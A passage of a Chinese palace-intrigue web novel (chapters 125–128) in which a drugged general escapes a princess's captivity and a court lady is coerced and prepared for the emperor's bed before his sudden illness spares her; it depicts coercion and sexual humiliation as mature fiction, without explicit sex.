阿穆尔笑着摆摆手道:“快去快回,回来接着喝!” 朱弘毅点了点头,转身便往外走去。 掀开帐帘,夜风扑面而来,吹得他精神为之一振。 他站在帐篷外面,深吸了几口气。 月轮正圆,悬于天际,照得整个王庭拢上了一片银白。 他看了一会儿,忽然想起了一件事。 此刻若是不走,待会儿阿穆尔定还要拽着他喝酒,如若是再饮下去,今夜便真回不去了。 他环顾了一下四周,见没有人。 心中当下已决定,走为上策。 正当他往营门方向走去的时候,仅刚迈出去数步,忽然感觉不太对,怎么头更晕了? 并非是平日里醉酒的那种晕眩…此刻他只觉眼前的东西开始晃动,腿也愈发软了。 他停下了来,扶住了旁边的柱子。 不对。 这酒里有东西。 他想喊,但喉咙里却发不出声音,忽然只觉眼前一黑,身子顷刻便软了下去。 再醒来的时候,朱弘毅发现自己躺在一顶陌生的帐篷里。 酒里的药力还未完全散去,他下意识地动了动,却发现自己根本动不了。 手腕上传来金属的凉意,他侧首看了一眼,只见自己的两只手腕竟然各锁着一根铁链,链子的另一头固定在床柱上。 他尝试挣扎了两下,结果铁链纹丝不动。 他顺着铁链往旁边看去,只见床边坐着一个人。 博尔济身穿一身大红色的袍子,发髻完全散了下来,披在肩上。 她一动不动地坐在那里,正含情脉脉地看着他。 见他醒了,她笑了笑。 “周郎,你醒了?” 朱弘毅没有说话,他只是皱了皱眉,低头看看自己手腕上的铁链,再抬起头,看向她,厉声质问道: “这怎么回事?” 博尔济没有回答他,只是微微笑了笑,随即站起身,走他旁边,坐了下来。 两人离得很近,近得能闻得见她身上的酒气,看来她也喝了不少… 她看着他的眼,含情脉脉道:“你在宴席上喝多了,想跑,我便让人在酒里加了一点东西。” 朱弘毅盯着她,语气冰冷:“你要做什么?” 博尔济温柔地看着他,看着看着,忽然笑了。 那笑容很明媚,像一个孩子在炫耀自己偷到的糖果: “我要把你留下来。” 朱弘毅的眉头瞬间皱了起来。 “留下来?留在这儿?” 博尔济娇柔地点了点头,眼睛亮亮的: “周郎,我要把你留在我身边,做我的驸马。”—— 作者有话说:公告公告:从3月1号开始就每天只有一更了,就晚上8点更,9点的就不更了,要收尾了,再攒攒榜 第126章 朱弘毅不想理博尔济, 只觉得她疯了。 他看了看手腕上的铁链,深深吸了一口气。 药力还未散尽,四肢还是瘫软的, 他动不了, 此刻他只能等。 博尔济却没有察觉到他的沉默。 她坐在床边, 离他越来越近,身上那股酒气又飘了过来,混着她身上北狄特有熏香,呛得人直发闷。 博尔济完全不管朱弘毅此刻是何感受,又开始自顾自地开口,她声音软软的,完全不似平日里那个挥刀杀人的公主:“你听我说, 你做我的驸马,北狄和大晟不就是一家人了?” 她歪着头看他, 眼睛亮亮的:“以后两国再也不打仗了, 多好?” 朱弘毅不言语,也不看她,只盯着穹帐顶, 一动不动。 博尔济等了半天,见他不回应, 也毫无反应,心下里有些恼火, 只见她咬了咬牙,突然起身抬手, 毫不犹豫地解开了领口的第一颗扣子。 朱弘毅霎时皱起了眉头:“公主,请自重。” 博尔济的手顿了顿。 她看着他,面上浮起一层红晕, 却不是羞的。 只见她淡淡地笑了笑,开口说道:“我自重什么?我喜欢你,我想嫁给你,这有何不能说的?” 言语间,她又解开了一颗扣子。 朱弘毅别过脸去,闭上了眼睛。 博尔济看着他那般模样,忍不住笑出声来: “你不敢看我?还是你怕看了,就走不掉了?” 朱弘毅不说话,他不搭理她,也不看她。 博尔济的手继续解着扣子,她将外袍缓缓褪下,落在地上,而后又一件又一件地将里衣剥/落。 帐篷内极其安静,唯余衣物落地的窸窣声。 朱弘毅紧闭双眼,一动不动,他将呼吸压得极低,似在等待着一个契机。 博尔济站在他面前,脱得只剩最后一件小衣,她忽然有些紧张,心跳极具加速。 “周郎…”她启唇,想开口说些什么。 然而就在这一刻。 朱弘毅突然动了。 只见他猛地睁开眼,双手同时发力,两条铁链被他挣得绷直,发出刺耳的金属摩擦声。 博尔济瞬间愣住了。 “你…” 话还没说完,只听轰隆一声巨响。 床头的柱子竟被他硬生生地拽倒,整张床瞬间塌了一角,帐篷内木屑横飞,尘土骤起。 博尔济下意识地往后退了一步,险些被地上的衣物绊倒。 朱弘毅已站了起来。 他一只手腕上的铁链拖着半截床柱,另一手仍被铁链缚于另一边的床柱上。 只见他伸手往腰间一摸,火铳还在。 他举起火铳,对准那只仍挂在床柱上的铁链。 嗙—— 一声巨响,火星四溅,铁链崩断,散落于地。 火铳的硝烟还没散尽,帐篷的帘子忽然被人掀开了。 只见阿穆尔带头冲了进来。 他身后跟着一群北狄士兵,满面紧张,刀已出鞘,显是被那声巨响惊动而来的。 阿穆尔快速地扫了一眼帐内的情形:倒塌的床柱,散落在地的铁链,还有朱弘毅手中犹在冒烟的火铳。 他的阿姐站在那里,衣衫不整,身上只剩一件小衣,她的外袍全部散落在地上,就连身上的小衣也松松垮垮的。 阿穆尔的脸一下子就涨红了。 他迅速脱下自己的外袍,几步冲了过去,一把罩在博尔济的身上。 “阿姐!” 他的声音都变了调:“你…你这是在做什么!” 博尔济被他罩住,愣在那里,半晌说不出话。 “周郎…” 她终于开口,看的却是朱弘毅:“周郎,你…” 朱弘毅站在那里,手里还举着火铳,面上没什么表情,只盯盯看向阿穆尔。 阿穆尔对上他目光,那一瞬便什么都明白了。 只见他深吸了一口气,然后转过身去,对着身后的士兵挥了挥手:“都退下吧。” 士兵们互相对视,愣了一下,还是听从将令退了出去。 帐中只剩下三人。 阿穆尔走到朱弘毅面前,声音有些发涩:“周将军,对不起。” 朱弘毅没有说话。 阿穆尔随即转过身,看向博尔济: “阿姐,你看看你都干了些什么?” 博尔济抬着氤氲的双眼看向他。 阿慕尔无力叹道:“阿姐,他是我的恩人,没 有他,我此刻怕是已死了,没有他,我根本拿不回这个王位。” 博尔济的嘴唇动了动,似想说些什么。 阿穆尔没让她说。 “你把他锁在这儿,是想让他恨你一辈子,还是想让他记住你?” 博尔济愣住了。 阿穆尔看着她微微有些发红的眼眶,长叹了一口气:“阿姐,够了,他是我的恩人,也是大晟的宁王,你留不住他的。” 博尔济站在那里,双唇颤抖着,说不出话来。 她裹着阿穆尔的外袍,双眼直勾勾地看着朱弘毅。 朱弘毅却没有看她,只见他把火铳收了起来,转身就要往外走。 阿穆尔张了张嘴,想说些什么挽留的话,却又硬生生地咽了回去。 他快步跟了出去,对着外面的士兵吩咐了几句,两个士兵立马跑了过来,将朱弘毅腕上剩下的半截铁链打开。 朱弘毅活动了一下手腕,没再言语,只继续往外走去。 走出了帐篷,才发觉外面天已大亮。 阳光刺得他双眼发酸,他眯了眯眼,抬手挡住清晨的阳光,疾步往营门方向走去。 身后忽然传来马蹄声。 他没有回头,也懒得再理。 马蹄声越来越近,在他身侧停下,只见一匹马横在了他的面前,挡住了他的去路。 博尔济骑在马上,裹着阿穆尔的外袍,发髻散着,面上犹有泪痕。 她直直地看着他,眼眶红红的,声音有些颤抖: “周郎…” 朱弘毅眉头骤然蹙起,没好气地瞥了她一眼:“公主又有何贵干?” 博尔济深吸了一口气,像是下了极大的决心:“周郎,带我走吧…我跟你回大晟。” 朱弘毅冷笑了一声,双手交叠于胸前:“公主,你在开什么玩笑?” 博尔济并不甘心,不依不饶道:“周郎,你不是想要逍遥散的解药吗?” 听到逍遥散,朱弘毅的脸色霎时就变了。 博尔济敏锐地捕捉到他的变化,得意道:“是你的未婚妻中了逍遥散?还是旁的什么人?那人对周郎而言,定是很重要的吧?” 朱弘毅没有说话,但双手已死死攥紧。 博尔济俯下身,凑近他,一字一字道:“我大哥死前,销毁了所有逍遥散的解药,如今整个北狄,只有我知道如何配制逍遥散的解药!” 朱弘毅盯着她。 博尔济迎上了他的目光,并未躲闪。 只听她洋洋得意道:“你不带我走,也不行。” 一阵风卷过,扬起地上的尘沙。 朱弘毅站在那里,沉默了许久。 他想起离开京城时,曾对顾凌云许下的承诺:“皇嫂的解药,只要我还有一口气在,必当双手奉上。” 君子一诺,千金不易。 他必须完成对顾凌云的承诺。 宫中风云诡谲,周妙雅尚需顾凌云去护。 想到这里,朱弘毅闭上双眼,再睁开时,眼底已经没有了刚才的怒气。 他看了看博尔济,无奈道:“好,我带你走。” 博尔济愣了一下,似是没料到他能答应得这般干脆。 “此话当真?” 朱弘毅没有说话,只是翻身上了旁边一匹马。 他勒住缰绳,看向博尔济。 “走吧,回广宁城大营。” ———— 皇城内,入夜,风起。 起初只是掠过檐角,呜呜作响。 后来风渐渐大了,卷起宫道上的残叶,打着旋儿地往天上飞。 天边压着厚重的云,闷得人几欲窒息。 周妙雅跪在乾清宫大殿前。 她已跪了许久,膝下的石砖冰凉,硌得她生疼,但她一动也不敢动。 风一阵紧似一阵,吹得她身上的衣裙猎猎作响。 乾清宫殿门紧闭,里头透出星点昏黄的灯火。 殿内,泰和帝正懒懒倚在御座上,手中把玩着一块璞玉。 他慵懒地抬眼,看向侍立在一旁的魏琰,问道:“还跪着呢?” 魏琰垂首,点了点头:“回陛下,还跪着呢,已经跪了两个时辰了。” 泰和帝笑了笑,玩味地盯着手中那块被他摩挲得温润,泛着柔光的璞玉。 “便让她跪着,让她多吃些苦头,好知道欺骗朕,是何等下场。” 魏琰没有说话,只是低下头,嘴角微微扯了一下。 殿外的风更大了。 忽然,一道闪电劈开天际,紧接着便是轰隆隆的雷声。 雨点疾风骤雨般砸下,很快便连成了雨幕。 暴雨说下就下。 周妙雅跪在那里,一动不动。 雨水浇在身上,瞬间就湿透了。发髻狼狈地贴在颊边,衣裙沉甸甸地往下坠。 她冷得瑟瑟发抖,直打冷颤,牙关咬得咯咯作响,但她一动未动。 闪电一道道劈下,照亮了她惨白的脸,雨水顺着脸颊往下淌,分不清是雨还是泪。 她也不知道自己还能撑多久。 身子已快虚脱,膝盖上早没了知觉,手也在颤,颤得止不住,但她不敢倒下。 韩司药还在诏狱中。 她不能倒。 殿内,泰和帝小憩了一会儿。 待他睁开眼时,听见外面哗啦啦的雨声,皱了皱眉。 “还在下?” 魏琰走到窗边,往外看了一眼。 “回陛下,下得正大。” 泰和帝坐起身,整了整龙袍。 “叫周司典进来吧。” 魏琰应了一声,往殿门口走去。 只听吱呀一声,殿门自内打开。 魏琰站在门槛内,俯首看着外面那个跪在雨里的女人。 “周司典,陛下传你进来。” 周妙雅抬起头。 雨水打在脸上,她几乎睁不开眼。 她强撑着地,欲站起身,可腿已不听使唤。 她晃了晃,差点又跪了回去,只能咬着牙,又试了一次,这才勉强站了起来。 她一步一步,往殿内走去,每走一步,地上便留下一摊水渍。 衣裙贴在身上,沉得迈不动腿。她扶着门框,跨过门槛,又往前挪了几步,终于行至大殿中央。 她直直跪了下去,膝头砸在光可鉴人的地砖上,发出一声闷响。 她伏下身,额头触地,一下,又一下地磕头。 咚咚咚。 叩首声在大殿内回荡。 泰和帝靠在御座上,居高临下看着她。 周妙雅磕了十几下,额头已经红了,额角渗出了血迹。 她伏在地上,声音发颤: “陛下,下官犯了欺君之罪,其罪当死。” 泰和帝没有说话。 周妙雅继续说:“下官愿以死谢罪,只求陛下开恩,放了韩司药,她什么都不知道,是下官逼她的,是下官跪着求她,她才…” “够了。” 泰和帝厉声打断了她。 周妙雅伏在地上,不敢再说话。 泰和帝看着她那光洁无暇的脸蛋儿,忽然玩味地笑了笑。 那笑容慵懒又漫不经心,像是在审视一件有趣的玩意儿,就像…他手中刚刚摩挲把玩的那块璞玉。 “朕堂堂天子,白白被你欺瞒,你已是死罪难逃。想要朕放了韩司药,周司典,你是不是该拿出些诚意来?” 周妙雅又止不住地磕头:“下官愿以死谢罪,换韩司药性命。” 泰和帝似烦了,只慵懒往龙椅上靠了靠,摆了摆手道:“够了,莫要再翻来覆去说这些没用的,朕并不想取你性命。” 周妙雅愣了一下,抬起头来,额角的血顺着苍白的脸颊淌下,与雨水,泪水混作一团。 泰和帝居高临下地看着她这狼狈不堪的模样,似在看一只流浪的狸奴。 他笑了笑,说出了那句他早就想说的话:“只要你答应侍寝,朕便即刻放了韩司药,君无戏言。” 周妙雅脑中霎时如雷击般,一片空白。 她跪在那里,看着御座上的人。 他慵懒地倚在椅背上,姿态闲适,嘴角还带着笑。 那笑与当初在乾清宫,他伸指压在她唇上,一遍遍地狎弄她时,一模一样。 绝望,无尽的绝望。 韩司药还在诏狱中受苦,她如果不答应,韩司药必死无疑。 她闭上双眼,绝望 的泪水顺着脸颊如潮水般滚落。 二郎,对不起…对不起… 我恐怕没有办法等到,为你穿上凤冠霞帔的那天了… 不管你是生是死,你我永无可能了。 第127章 周妙雅被带了下去。 两个嬷嬷一左一右地架着她, 穿过乾清宫的后廊,往偏殿走去。 她浑身还在滴水,每行一步, 地上便留下一摊水渍, 湿透的衣裙贴在身上, 沉得迈不动腿,却无人怜惜她。 偏殿的门被打开,她被粗暴地推了进去。 殿内燃着炭盆,暖烘烘的,与外头的雨夜像是两个世界。 但她却一点都未觉得暖,身上的冷是从骨缝里渗出来的,是心中绝望如冰窟的冷, 炭火根本就烤不透。 几个老嬷嬷站在偏殿里,正候着她。 领头的那个嬷嬷年纪最大, 发髻花白, 一脸深深的皱纹。 她上下打量了周妙雅一番,目光自她湿透的发髻,滑向苍白的脸颊, 又滑向她身上曼妙的曲线。 半晌,她像是打量一件货物, 打量完了,才开口:“把身上的湿衣服脱了。” 周妙雅只呆呆站在那里, 像是没听见,一动未动。 那老嬷嬷等了片刻, 见她还是不动,也未恼火,只是阴恻恻地笑了笑, 那笑里带着几分见惯不惊的淡漠: “周司典,既然答应了侍寝,就别端着了,这宫里头,哪个娘娘不是这么过来的?” 周妙雅只垂首不语。 另一个嬷嬷可不管那些,一个箭步冲上前来,伸手便去解她的衣带。 周妙雅下意识地往后一缩,却被她粗暴地一把按住:“别动,衣裳湿着,着凉了怎么伺候陛下?” 话音未落,便粗鲁地解了她的衣带,将她湿透的外袍剥/落,随手掷于地上。 周妙雅站在那里,被剥得只剩小衣,小衣也湿透了,贴在身上,什么都遮不住。 她垂着头,不敢看任何人。 几个嬷嬷围着她,像是在打量一件瓷器。 “身段倒是不错。”一个嬷嬷开口。 “脸也好。”另一个嬷嬷叹道:“难怪陛下惦记了这么久。” 领头的嬷嬷趋前,伸手捏了捏她的腰枝,那粗糙的大手还带着茧子,捏得她生疼。 “太瘦了。”那嬷嬷说下结论:“回头得好好补补,陛下可不喜欢太硌手的。” 周妙雅睫毛颤了颤,没有说话。 “过来。”领头的嬷嬷往旁边走了几步,命令道。 周妙雅抬起头,看见那边放着一张矮榻,榻上铺着锦缎褥子。 她麻木地走了过去。 “坐下。” 几个嬷嬷在她面前站成了一排,领头那个开始训话: “周司典,老奴几个是奉旨来教你的,你且听好了,需得记牢了,伺候陛下,可是大事,容不得有半点差池。” 周妙雅垂着头,目光呆滞地听着,心里想的唯有韩司药的性命。 “其一,陛下的喜好,你得记清楚了,陛下喜欢温顺的,不喜欢犟的,让你做什么,你便做什么,别端着,别矫情。” 另一个嬷嬷随即接话:“陛下不喜欢侍寝的时候话多的,该闭嘴的时候就闭嘴,该出声的时候要出声,不该说的话,一个字都别提。” 又一个嬷嬷道:“陛下不喜欢女人在床上哭,你若是哭了,惹得陛下烦了,吃苦的还是你自己。” 周妙雅的手指在膝盖上紧紧地蜷着,她此刻思绪纷乱,嬷嬷们说的话,她一个字也听不进去。 领头的嬷嬷继续说着:“其二,你需得知道自己的身份,你不是娘娘,不是妃嫔,只是个被诏侍寝的女官。陛下要你,是你的福气,陛下不要你,你就哪儿凉快哪儿待着去。别日日想着攀高枝,争宠。这宫里,比你年轻漂亮的多的是。” “其三…”领头的嬷嬷顿了顿,目光在她身上扫了一圈:“床上的规矩,你得学。” 她往前走了一步,低头看着周妙雅。 “待会儿陛下召你,你得知道怎么脱衣裳,怎么躺下,怎么动,不能像块木头似的,也不能太浪,得让陛下舒服,但不能让陛下觉得你轻/贱。” 说罢,她伸出那只粗糙的大手,抬起了周妙雅的下巴。 周妙雅被迫抬起头,对上那双淡漠的眼睛。 那嬷嬷端详了她片刻,叹道:“这张脸是好看,但光有漂亮脸蛋儿没用,得活儿好,才能留住陛下。” 她松开手,周妙雅的下巴落了回去。 几个嬷嬷又轮番在她耳边七嘴八舌地说了一通,无非是什么: “记住,你是用来取悦陛下的。” “陛下高兴了,你才有活路。” “别想着逃,逃是逃不掉的。” “也别想着死,死了,韩司药也活不成了。” 她只觉这些话似在很远的地方飘着,一字也听不进。 像是过了好久,那些围着她的嬷嬷似说累了,终于不说话了。 周妙雅听到炭盆里的火噼啪地响了一声,将她游离到不知何处的思绪拽了回来。 只见领头的嬷嬷摆了摆手。 “行了,先带她去沐浴更衣,这身湿衣裳穿着,着凉了怎么伺候?” 两个趋步嬷嬷上前,一左一右将她架了起来,往浴室走去。 浴室里,等候在此的嬷嬷们早就备好了热水。 周妙雅被架进去的时候,一眼便瞧见了浴室正中的那只巨大的浴桶。 桶内热气蒸腾而上,水面上浮着厚厚一层花瓣。 那花瓣红得刺眼。 还不等她来得及反应,两个嬷嬷已经上前,一左一右扯住她身上仅剩的那件小衣。 “不要…” 她下意识地往后缩,却根本挣不过那些经验丰富的嬷嬷,小衣被粗暴地剥下,她赤/条/条地站在原地,浑身哆嗦,不知是冷还是怕。 “进去。”一个嬷嬷命令道。 她没有动。 另一个嬷嬷可不管那些,伸手按住她的肩膀,用力往下一压,她踉跄了一步,膝盖磕在了桶沿上,整个人栽进水中。 热水从四面八方涌来,她呛了一口水,挣扎着想要站起来,却被一只手死死按住了头顶。 “老实待着。” 那只手力气极大,压得她动弹不得。 为首的嬷嬷站在浴桶边,居高临下地看着她。 “仔细洗刷干净了。” 她语气冰冷地吩咐道:“一点味道都不准留。” 两个嬷嬷应了一声,拿起浴桶边的巾子,开始动手。 那巾子粗糙得很,蹭在皮肤上生疼。 周妙雅疼得哆嗦了一下,想躲,却被另一只手按住。 “别动。” 那巾子从她的肩膀搓到后背,从后背搓到腰肢,又从腰肢搓到手臂,每一寸皮肤都被搓过,搓得发红。 她咬着牙,眼泪在眼眶里打转,却不敢落下来。 搓完了上身,一个嬷嬷伸手欲要去抬她的腿。 “不要…” 她下意识夹紧,却被那只手用力掰开。 “躲什么躲?”那嬷嬷不耐烦地说:“待会儿要伺候陛下的人,哪儿不得洗干净?” 粗糙的巾子蹭上她的大腿,一下一下,用力地搓。她浑身都在颤抖,牙关咬得死死的,却只能任由她们摆布。 搓完了腿,另一个嬷嬷拿起一只木瓢,舀起热水从她头顶浇了下去。 热水流过她的脸,她的脖子,她的胸前,汇入了浴桶中。 她紧闭着双眼,睫毛湿漉漉地贴在眼睑上。 搓完了身子,那些嬷嬷将她整个人架了起来,从头到脚涂满了香气熏人的香膏。 湿透的长发散落下来,披在肩上,垂到腰际。 一个嬷嬷把一整瓶香露倒在了掌心,双手搓了搓,然后插进她的发丝里。 从发根到发梢,一缕一缕地揉搓,那香气比香膏还要浓烈。 洗完了,揉完了,两个嬷嬷对视了一眼,点了点头。 “行了,出来吧。” 周妙雅撑着桶沿,想站起来,腿已经软了,试了两次才站稳。她跨出浴桶,赤/条/条地站在那儿,浑身滴着水。 一个嬷嬷拿起一块柔软的绸布,将她身上的水全部擦干。 另一个嬷嬷走了过来,手里捧着一套衣裳。 周妙雅只看了一 眼,瞳孔骤然缩紧。 那衣裳薄得几乎透明,轻飘飘的纱料,拿在手里像没有重量,透过那层纱,能清清楚楚地看见后面嬷嬷的手指。 “就…就穿这个?” 她的声音发颤,下意识地想要拒绝。 那为首的嬷嬷没好气儿地看了她一眼,啐道:“不然呢?你还想穿凤冠霞帔?” 周妙雅往后退了一步,她摇着头,红着眼哽咽道:“不要…” 那嬷嬷往前逼近了一步:“什么不要?你以为侍寝是什么?穿着厚衣裳裹得严严实实的,让陛下自己解?” 周妙雅又往后退了一步,直到脊背重重撞上浴桶,退无可退。 “我不穿这个。”她用尽全力地摇着头,声音抖得厉害。 几个嬷嬷对视了一眼,那为首嬷嬷笑了笑,带着见惯不惊的漠然:“周司典,你是不是还没搞清楚状况?” 她往前走了一步,站在周妙雅面前,低头看着她。 “你既已答应了侍寝,便是陛下的人,陛下想让你穿什么,你就得穿什么,别说是这件衣裳,就是让你什么都不穿,光着出去,你也得去!” 几个嬷嬷围着她,显然已没有了耐心。 为首的嬷嬷皱着眉:“别敬酒不吃吃罚酒。” 见周妙雅还是摇着头死命拒绝着,那嬷嬷挥了挥手,另外几个嬷嬷立刻便都围了上来。 几只手同时伸了过来,按住了她的肩膀,按住了她的手臂,按住了她的腰枝。 “不要…放开我…!” 她拼命挣扎着,但那些嬷嬷的手死死地箍着她,她挣不动,也挣不脱。 那件透明的纱衣被抖开,薄如蝉翼的纱料在烛光下泛着幽幽的光。 两个嬷嬷扯着它,不由分说地便往她身上套。 纱料贴上肌肤的那一刻,周妙雅整个人都在战栗。那纱料的触感太轻,轻得像什么都没有,让人羞/耻得想死。 直到一个嬷嬷说道:“穿好了。” 其他几个嬷嬷这才松开了手,退后一步,上下打量着她。 周妙雅站在那里,浑身抖得如秋风中的落叶。 那件纱衣薄得什么都遮不住,透过那层纱,能清清楚楚看见她身上的每一寸肌肤,每一道曲线。 这还没完,那些嬷嬷仍没有放过她。 她们拿过几根柔软的绸带,不由分说地捆住了她的手腕和脚踝。 两只手腕被绑在一起,两只脚踝也被绑在一起。她站在那里,像一只待宰的羔羊,动弹不得。 “嘴也堵上。”为首的嬷嬷下令道:“别让她咬舌自尽了。” 一个嬷嬷拿起一块绸巾,走到了她的面前。 周妙雅拼命摇头,嘴巴闭得死死的,但那嬷嬷伸手捏住她的下巴,用力一掐,她吃痛张嘴,那块绸巾就被塞了进去。 绸巾堵在嘴里,她只能发出呜呜的声音,说不出话来。 为首的嬷嬷走了过来,上下打量了她一番,这才满意地点了点头。 而后,她们用一件宽大的斗篷,将她整个人从头到脚地裹了起来,塞进了一顶软轿中。 几个内侍抬着软轿,由为首的嬷嬷陪着,摇摇晃晃地往皇帝的寝殿走去。 周妙雅整个人蜷在软轿里,动弹不得,只能发出细微的呜呜声,眼泪一直不停地流。 她脑海里全是远在辽东的那个人,他还活着吗?他在哪里?他知道她正在经历什么吗? 她想起他临别时说过的话:“在京城等我,无论再难再苦,等我回来娶你。” 她应了,她也一直在等。 可此刻呢? 她蜷在这顶轿子里,身上穿着那件屈辱的纱衣,被缚着手脚,堵着嘴,要被送去另一个男人的床上。 无论他能不能活着回来,过了今夜,她们俩也再无可能了。 想到这里,她的心如被猛兽撕扯一般,撕心裂肺地疼。 她恨不得即刻咬舌自尽。 可连这一点都做不到,就算能咬,她也不能死。 韩司药尚在诏狱中,她死了,韩司药也活不成了。 她必须活着,必须熬过这一夜,必须以自己的身体,去换韩司药的性命。 摇摇晃晃了许久,软轿终于停了。 几个内侍并着那为首嬷嬷,将她从轿里拽了出来,扛到了皇帝寝殿的龙床上。 殿内很暖,炭盆烧得正旺,龙涎香的气息弥漫在空气中,暖融融的,熏得人发晕。 待那几个内侍退了下去,那嬷嬷将她身上的斗篷也扯了下来,一并带走,只留下一句冰冷的话:“在这好生等着,待会陛下就来了。” 那嬷嬷走了之后,殿内霎时便安静了下来。 周妙雅独自一人蜷在龙床上,动弹不得,手脚被缚,嘴被堵着,身上只有那件透明的纱衣。纱衣什么都遮不住,冰冷的空气触上肌肤,激起一阵阵的战栗。 她挣扎着想要坐起来,想要逃走。 但挣不动。 绸带死死勒进手腕,勒得她生疼。 她只能倒在柔软的锦被中,像一件被摆放好的祭品,静静等待着命运的宰割。 殿内空无一人。 皇帝不在。 她不知这对她而言是幸事还是祸事,只知道自己此时的每一刻都在煎熬。 时间一点点流逝。 殿外的更鼓声敲了一次又一次,她数着那更声,一下,两下,三下…数到后来便忘了,又从头数起。 每一次听到更鼓声,她便心跳如擂鼓,紧张到心脏几乎要从胸腔里跳出来。 她脑海中反复设想了一万种可能发生的可怕事情,皇帝什么时候来?来了之后会做什么?她会怎么样? 每一种设想都让她更恐惧。 恐惧到了极点,反而生出了一种麻木的绝望。 她就那么躺在那里,盯着头顶的帐幔,也不知等了多久。 她预想过无数次那扇门被推开,那个身着龙袍的身影出现。 可是没有。 门始终没有开。 窗外的天色渐渐变了,天边泛起了鱼肚白。 寝宫内的宫灯彻夜长明,烛泪流了一截。 她麻木地看着那些蜡烛,一根一根,慢慢地燃尽,慢慢地变短。 预想中的侵/犯始终没有发生。 这诡异的平静,比恐惧更让人不安。 她不知道发生了什么,也不知道皇帝为什么不来,更不知道等待她的到底是什么。 她只能等。 等到几乎快要被这种等待逼疯。 终于,殿外传来了脚步声。 脚步声越来越近,在殿门口停下,紧接着是一阵压低声音的交谈声,她根本听不清她们在说什么。 紧接着,殿门吱呀一声被推开。 几个嬷嬷走了进来。 周妙雅认得她们,正是昨夜在偏殿教她规矩的那几个。领头的仍是那个发髻花白,一脸皱纹的老嬷嬷。 她们走到床边,站成一排,垂首居高临下地看着她。 周妙雅躺在那儿,嘴里堵着绸巾,只能发出呜呜的声音。 为首的嬷嬷没有说话,只是俯下身,伸手取出了堵在她嘴里的绸巾。 绸巾被扯出的那一刻,周妙雅大口大口地喘着气,嘴唇干裂,喉咙发紧。 “周司典。” 为首的嬷嬷开口,声音冷冰冰的:“你可以回去了。” 周妙雅霎时便愣住了。 她以为自己听错了。 “回…回去?” 那嬷嬷没有回答,只是示意另外几个人上前,解开了她手腕上脚踝上绑着的绸带。 手脚终于自由了,但四肢早已麻木,动一下都疼得钻心。 一个嬷嬷扔给了她一套寻常的宫装。 周妙雅挣扎着坐了起来,手抖得厉害,半天穿不上,那些嬷嬷就站在旁边看着,也没有人帮她。 待她终于穿好了衣裳,扶着床沿站了起来,腿软得几乎站不稳。 她开口,声音沙哑颤抖着:“陛下…陛下呢?” 为首那嬷嬷冷冰冰地瞥了她一眼,开口说道: “陛下龙体欠安,昨夜突发急症,昏迷不醒,太医院已忙了一整夜。” 周妙雅脑中轰然一声炸开。 那一瞬,只那一瞬,巨大的,劫后余生的庆幸自她心底涌了上来,几乎要将她冲垮淹没。 皇帝病倒了。 他没有来。 她…逃过了一劫? 她不敢多想,更不敢多问,只强撑着发软的身子,一步一步,往殿门口走去。 那些嬷嬷就站在原地看着她,目光冷漠,像是在送一件被退货的礼物。 周妙雅行至门口,扶着门框,迈了出去。 殿外冷气扑面,清晨的寒意刺骨。 她深深地吸了一口气,那冰冷的空气吸入肺中,她才觉自己重新活了过来。 她心里此刻只有一个念头: 赶快,逃离! 第128章 周妙雅跌跌撞撞地自乾清宫逃出, 根本不知一路上是何种信念在支撑着她,她强忍着身体的痛楚,一步一步地往回走去。 腿是软的, 根本使不上力气, 她扶着墙, 扶着廊柱,扶着一切能扶的东西,一点一点地往前挪。 天早已大亮,刺目的晨光照在琉璃瓦上,反射的光照得她双眼发酸。 路上遇到了几个洒扫的宫女,见她这副模样,皆低下头去, 匆匆走开。 在这深宫之中,人心冷漠, 没有人问她, 也没有人扶她。 她也不想要人扶。 此刻她只想走得快一些,再快一些,回到坤宁宫她的那间小屋去。 那是她唯一能去的地方。 穿过月洞门, 走过那条熟悉的长廊,她终于看见了自己小屋的那扇门。 而此刻, 门却虚掩着。 她下意识地愣了一下,她记得自己离开的时候, 明明将门关好了。 但她已无力去想那么多。 她挣扎着走到门口,伸出手, 推开了门。 却见屋里站着一人。 那人转过身来,眼眶有些微红,眼底布满血丝, 却用慈爱怜惜的目光看向她。 是孙女官,她在这里等了她一夜。 周妙雅再也受不了了,她不顾一切地扑进了孙女官的怀里,语带哽咽:“姑姑…” 她像个孩子般在孙女官怀里嚎啕大哭,哭得浑身都在颤,泪如决堤,止都止不住。 孙女官没有说话,只是抬起手,一下一下很轻,很缓抚着她的背,像是怕惊着她。 “没事了。”孙女官温柔地哄着她:“都过去了。” 周妙雅哭得上气不接下气,根本说不出话来。 孙女官也不催她,只继续抚着她的背,一下,又一下,像抚着孩子一般。 她回想起那年,在狗洞外第一次见到周妙雅时的情景,襁褓里小小的人儿,不哭也不闹,只睁着水汪汪的大眼睛看着她。 过了许久,周妙雅的哭声才渐渐小了,变成了抽噎。 她抬首,满脸泪痕,眼眶肿得像桃儿,哑着嗓子问她:“姑姑,您怎么在这?” 孙女官看着她,抬手帮她拭去了脸上未干的泪痕:“皇后娘娘发现你独自离去的时候,已经晚了,她知你性子执拗,劝也劝不回了,便让我在此候了你一夜,怕你出事。” 原来这一夜,皇后娘娘在担心她,孙女官在此等了她一夜… “我…” 周妙雅像个做错事的孩子,咬着嘴唇,想说些什么,却不知道该说些什么。 孙女官摇了摇头,示意她不想说便不必说。 “坐下吧,我有话同你讲。” 周妙雅被她扶着,在榻边坐下,腿还是软的,一坐下便再也不想动了。 孙女官在她身侧坐了下来,看着她,郑重地说着:“韩司药回来了。” 周妙雅猛地抬头:“真的么?” 孙女官笃定地点了点头:“是真的,昨夜便被送回来了。正因韩司药被送了回来,皇后娘娘才知定是你牺牲了自己,去换回了韩司药。” 周妙雅握住孙女官的手,急切问道:“姑姑,那韩司药现在怎么样了?” 孙女官抚着她的手,温声道:“九死一生,但好在还有口气在,如今在司药司养伤,有人照顾着,暂无性命之忧,你不必太过担心。” 周妙雅的眼眶瞬间就红了,眼泪不受控制地又掉了下来。 活着就好,韩司药活着就好。 她忽然抓住孙女官的手,攥得紧紧的。 “姑姑,谢谢您…谢谢您…也谢谢…皇后娘娘…” 孙女官看着她,眼中满是心疼,她轻轻拍了拍周妙雅的手,没有说什么。 半晌,孙女官才复又开口道:“妙雅,你知道昨夜陛下为何突发急症吗?” 周妙雅愣了一下,下意识地摇了摇头。 周女官看着她,一字一句道:“昨夜,你去了乾清宫,答应了侍寝,被人带下去沐浴更衣之时,陛下让人去传了虚云子。” 周妙雅瞪大了眼睛,不可思议地问道:“虚云子?” “对。” 孙女官的语气似在斟酌措辞:“虚云子手中有一种丹药,说是服用了之后能让人…能让人精力更旺。” 周妙雅的脸色霎时就变了。 